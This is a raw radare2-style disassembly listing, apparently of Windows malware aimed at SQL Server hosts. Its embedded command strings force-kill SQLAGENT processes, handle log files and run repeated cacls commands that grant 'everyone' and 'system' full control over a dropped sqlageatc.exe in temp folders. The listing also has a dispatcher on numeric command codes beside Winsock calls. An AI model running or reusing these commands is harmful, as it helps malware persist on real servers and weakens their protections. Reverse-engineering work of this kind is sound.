push str.cmd__c_taskkill__f__im_SQLAGENTN.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.SQLAGENTN.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x429a6d
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.SQLAGENTN.exe
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x429ad3
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x429ae6
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x429b09
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.N_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x429b6f
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x429b82
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x429ba5
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.N_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x429c0b
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x429c1e
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x429c41
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGENTA.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGENTA.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.SQLAGENTA.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x429d24
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.SQLAGENTA.exe
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x429d8a
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x429d9d
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x429dc0
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.A_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x429e26
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x429e39
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x429e5c
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.A_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x429ec2
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x429ed5
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x429ef8
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQL1AppDataLocalTemp_sqlageatc.exe__e__t__g_system:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQL1AppDataLocalTemp_sqlageatc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQLSERVERAppDataLocalTemp_sqlageatc.exe__t__g_system:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQLSERVERAppDataLocalTemp_sqlageatc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsTemp_sqlageatc.exe__e__t__g_system:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsTemp_sqlageatc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsServiceProfilesNetworkServiceAppDataLocalTemp_sqlageatc.exe__e__t__g_system:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsServiceProfilesNetworkServiceAppDataLocalTemp_sqlageatc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp_sqlageatc.exe__e__t__g_system:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp_sqlageatc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp1_sqlageatc.exe__e__t__g_system:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp1_sqlageatc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp2_sqlageatc.exe__e__t__g_system:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp2_sqlageatc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov ebx, 6
call fcn.0040105b
push reloc.WS2_32.dll_getsockname
push 0
push 0x43b664
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
jmp 0x42ccc7
push str.80007
push dword [ebp - 4]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x42a6b8
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42a27a
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4f63c9
push dword [ebp - 0x24]
call fcn.0040112a
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42a2be
push ebx
call fcn.00461dbe
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x42a343
call fcn.0042d2e7
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42a2e3
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463230
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42a309
push ebx
call fcn.00461dbe
add esp, 4
lea eax, [ebp - 0x28]
push eax
mov eax, str.80007
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
call fcn.0041c7d7
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42a32e
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a33e
push ebx
call fcn.00461dbe
add esp, 4
jmp 0x42a6b3
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42a356
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4f1c36
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42a391
mov eax, 0x4e9a10
push eax
push 3
mov ebx, 0x4630a0
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42a3b7
push ebx
call fcn.00461dbe
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x14]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x42a3d9
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x42a3d5
imul eax, dword [ebx]
jmp 0x42a3ca
mov ecx, eax
test ecx, ecx
je 0x42a3f8
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x42a3f1
push ebx
push eax
call fcn.00461dbe
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x42a3df
call fcn.00461dbe
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x14]
call fcn.0040ec20
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jne 0x42a6b3
mov ebx, dword [ebp - 0x14]
call fcn.004011c7
mov eax, 0
cmp eax, ecx
jl 0x42a437
push 1
call fcn.00461da6
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push 0x4f63d2
mov ebx, dword [ebp - 0x24]
push dword [ebx]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x42a56c
mov ebx, dword [ebp - 0x14]
call fcn.004011c7
mov eax, 1
cmp eax, ecx
jl 0x42a478
push 1
call fcn.00461da6
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
jne 0x42a495
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x462b70
call fcn.00461db8
add esp, 0x10
push eax
call fcn.0042f92c
test eax, eax
je 0x42a511
push reloc.WS2_32.dll_connect
push 0
push 0x4f63db
push 1
mov ebx, 0x463230
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
mov eax, str.80007
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0041c7d7
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a4fc
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42a50c
push ebx
call fcn.00461dbe
add esp, 4
jmp 0x42a567
push reloc.WS2_32.dll_connect
push 0
push 0x4f63e8
push 1
mov ebx, 0x463230
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
mov eax, str.80007
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0041c7d7
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a557
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42a567
push ebx
call fcn.00461dbe
add esp, 4
jmp 0x42a6b3
mov ebx, dword [ebp - 0x14]
call fcn.004011c7
mov eax, 0
cmp eax, ecx
jl 0x42a58a
push 1
call fcn.00461da6
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push 0x4f63f5
mov ebx, dword [ebp - 0x24]
push dword [ebx]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x42a612
mov ebx, dword [ebp - 0x14]
call fcn.004011c7
mov eax, 1
cmp eax, ecx
jl 0x42a5cb
push 1
call fcn.00461da6
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
jne 0x42a5e8
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x462b70
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x28], eax
push 1
push 1
push dword [ebp - 0x28]
call fcn.0042fa22
jmp 0x42a6b3
mov ebx, dword [ebp - 0x14]
call fcn.004011c7
mov eax, 0
cmp eax, ecx
jl 0x42a630
push 1
call fcn.00461da6
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x2c], ebx
push 0x4f63fe
mov ebx, dword [ebp - 0x2c]
push dword [ebx]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x42a6b3
mov ebx, dword [ebp - 0x14]
call fcn.004011c7
mov eax, 1
cmp eax, ecx
jl 0x42a671
push 1
call fcn.00461da6
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
jne 0x42a68e
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x462b70
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x28], eax
push 1
push 0
push dword [ebp - 0x28]
call fcn.0042fa22
jmp 0x42ccc7
push str.80010
push dword [ebp - 4]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x42aca4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42a6e4
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4f1c36
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42a71f
mov eax, 0x4e9a10
push eax
push 3
mov ebx, 0x4630a0
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42a745
push ebx
call fcn.00461dbe
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x14]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x42a767
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x42a763
imul eax, dword [ebx]
jmp 0x42a758
mov ecx, eax
test ecx, ecx
je 0x42a786
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x42a77f
push ebx
push eax
call fcn.00461dbe
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x42a76d
call fcn.00461dbe
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x14]
call fcn.004011c7
mov eax, 0
cmp eax, ecx
jl 0x42a7b0
push 1
call fcn.00461da6
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push 0x4f640d
mov ebx, dword [ebp - 0x24]
push dword [ebx]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x42a84e
call fcn.0042fadc
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42a7ee
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463230
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42a814
push ebx
call fcn.00461dbe
add esp, 4
lea eax, [ebp - 0x28]
push eax
mov eax, str.80010
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
call fcn.0041c7d7
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42a839
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a849
push ebx
call fcn.00461dbe
add esp, 4
jmp 0x42ac9f
mov ebx, dword [ebp - 0x14]
call fcn.004011c7
mov eax, 0
cmp eax, ecx
jl 0x42a86c
push 1
call fcn.00461da6
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
push 0x4f6257
mov ebx, dword [ebp - 0x30]
push dword [ebx]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x42a9fb
mov ebx, dword [ebp - 0x14]
call fcn.004011c7
mov eax, 1
cmp eax, ecx
jl 0x42a8ad
push 1
call fcn.00461da6
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
mov ebx, dword [ebp - 0x14]
call fcn.004011c7
mov eax, 1
cmp eax, ecx
jl 0x42a8d3
push 1
call fcn.00461da6
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x28], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x28]
mov eax, dword [ebx]
test eax, eax
jne 0x42a8f0
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x2c], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x42a919
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x462e70
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42a93f
push ebx
call fcn.00461dbe
add esp, 4
lea eax, [ebp - 0x30]
push eax
call fcn.0042ff93
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42a95b
push ebx
call fcn.00461dbe
add esp, 4
push dword [ebp - 0x34]
push 0x4f1c36
mov ebx, dword [ebp - 0x24]
push dword [ebx]
mov ecx, 3
call fcn.004010ce
add esp, 0xc
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x42a988
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x42a99b
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463230
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x42a9c1
push ebx
call fcn.00461dbe
add esp, 4
lea eax, [ebp - 0x3c]
push eax
mov eax, str.80010
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x40]
push eax
call fcn.0041c7d7
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x42a9e6
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x42a9f6
push ebx
call fcn.00461dbe
add esp, 4
jmp 0x42ac9f
mov ebx, dword [ebp - 0x14]
call fcn.004011c7
mov eax, 0
cmp eax, ecx
jl 0x42aa19
push 1
call fcn.00461da6
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push 0x4f640f
mov ebx, dword [ebp - 0x44]
push dword [ebx]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x42aaa4
mov ebx, dword [ebp - 0x14]
call fcn.004011c7
mov eax, 1
cmp eax, ecx
jl 0x42aa5a
push 1
call fcn.00461da6
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], esp
push 1
push 0
push 0
mov ebx, dword [ebp - 0x24]
push dword [ebx]
push 0x4f6411
push 0
mov eax, 0x4a
call fcn.00461dac
cmp dword [ebp - 0x28], esp
je 0x42aa9f
push 6
call fcn.00461da6
add esp, 4
jmp 0x42ac9f
mov ebx, dword [ebp - 0x14]
call fcn.004011c7
mov eax, 0
cmp eax, ecx
jl 0x42aac2
push 1
call fcn.00461da6
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x2c], ebx
push 0x4f6416
mov ebx, dword [ebp - 0x2c]
push dword [ebx]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x42ab4d
mov ebx, dword [ebp - 0x14]
call fcn.004011c7
mov eax, 1
cmp eax, ecx
jl 0x42ab03
push 1
call fcn.00461da6
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], esp
push 0
push 0
push 0
mov ebx, dword [ebp - 0x24]
push dword [ebx]
push 0x4f6411
push 0
mov eax, 0x4a
call fcn.00461dac
cmp dword [ebp - 0x28], esp
je 0x42ab48
push 6
call fcn.00461da6
add esp, 4
jmp 0x42ac9f
mov ebx, dword [ebp - 0x14]
call fcn.004011c7
mov eax, 0
cmp eax, ecx
jl 0x42ab6b
push 1
call fcn.00461da6
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x2c], ebx
push 0x4f6418
mov ebx, dword [ebp - 0x2c]
push dword [ebx]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x42ac9f
push 0x80000301
push 0
push 3
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x80000301
push 0
push 3
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0042ff93
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42abf6
push ebx
call fcn.00461dbe
add esp, 4
push dword [ebp - 0x2c]
push 0x4f1c36
push dword [ebp - 0x24]
mov ecx, 3
call fcn.004010ce
add esp, 0xc
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42ac21
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42ac31
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x42ac44
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463230
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42ac6a
push ebx
call fcn.00461dbe
add esp, 4
lea eax, [ebp - 0x34]
push eax
mov eax, str.80010
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
push eax
call fcn.0041c7d7
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x42ac8f
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x42ac9f
push ebx
call fcn.00461dbe
add esp, 4
jmp 0x42ccc7
push str.80011
push dword [ebp - 4]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x42b13d
push 0x80000301
push 0
push 6
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42acdc
mov eax, 0x4f1c44
push eax
push 2
mov ebx, 0x4635e0
call fcn.00461db8
add esp, 0x1c
mov dword [ebp - 0x24], eax
push 0
push 0
push 0
push 0x80000301
push 0
push 0xa
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42ad17
mov eax, 0x4f1c44
push eax
push 3
mov ebx, 0x463460
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], ecx
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42ad43
push ebx
call fcn.00461dbe
add esp, 4
mov ecx, dword [ebp - 0x28]
cmp ecx, reloc.WS2_32.dll_connect
je 0x42ad5b
push 5
call fcn.00461da6
add esp, 4
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x42ad6f
push ebx
call fcn.00461dbe
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
push 0x4f6420
push dword [ebp - 0x18]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x42afd3
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42ad9f
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x4623a0
call fcn.00461db8
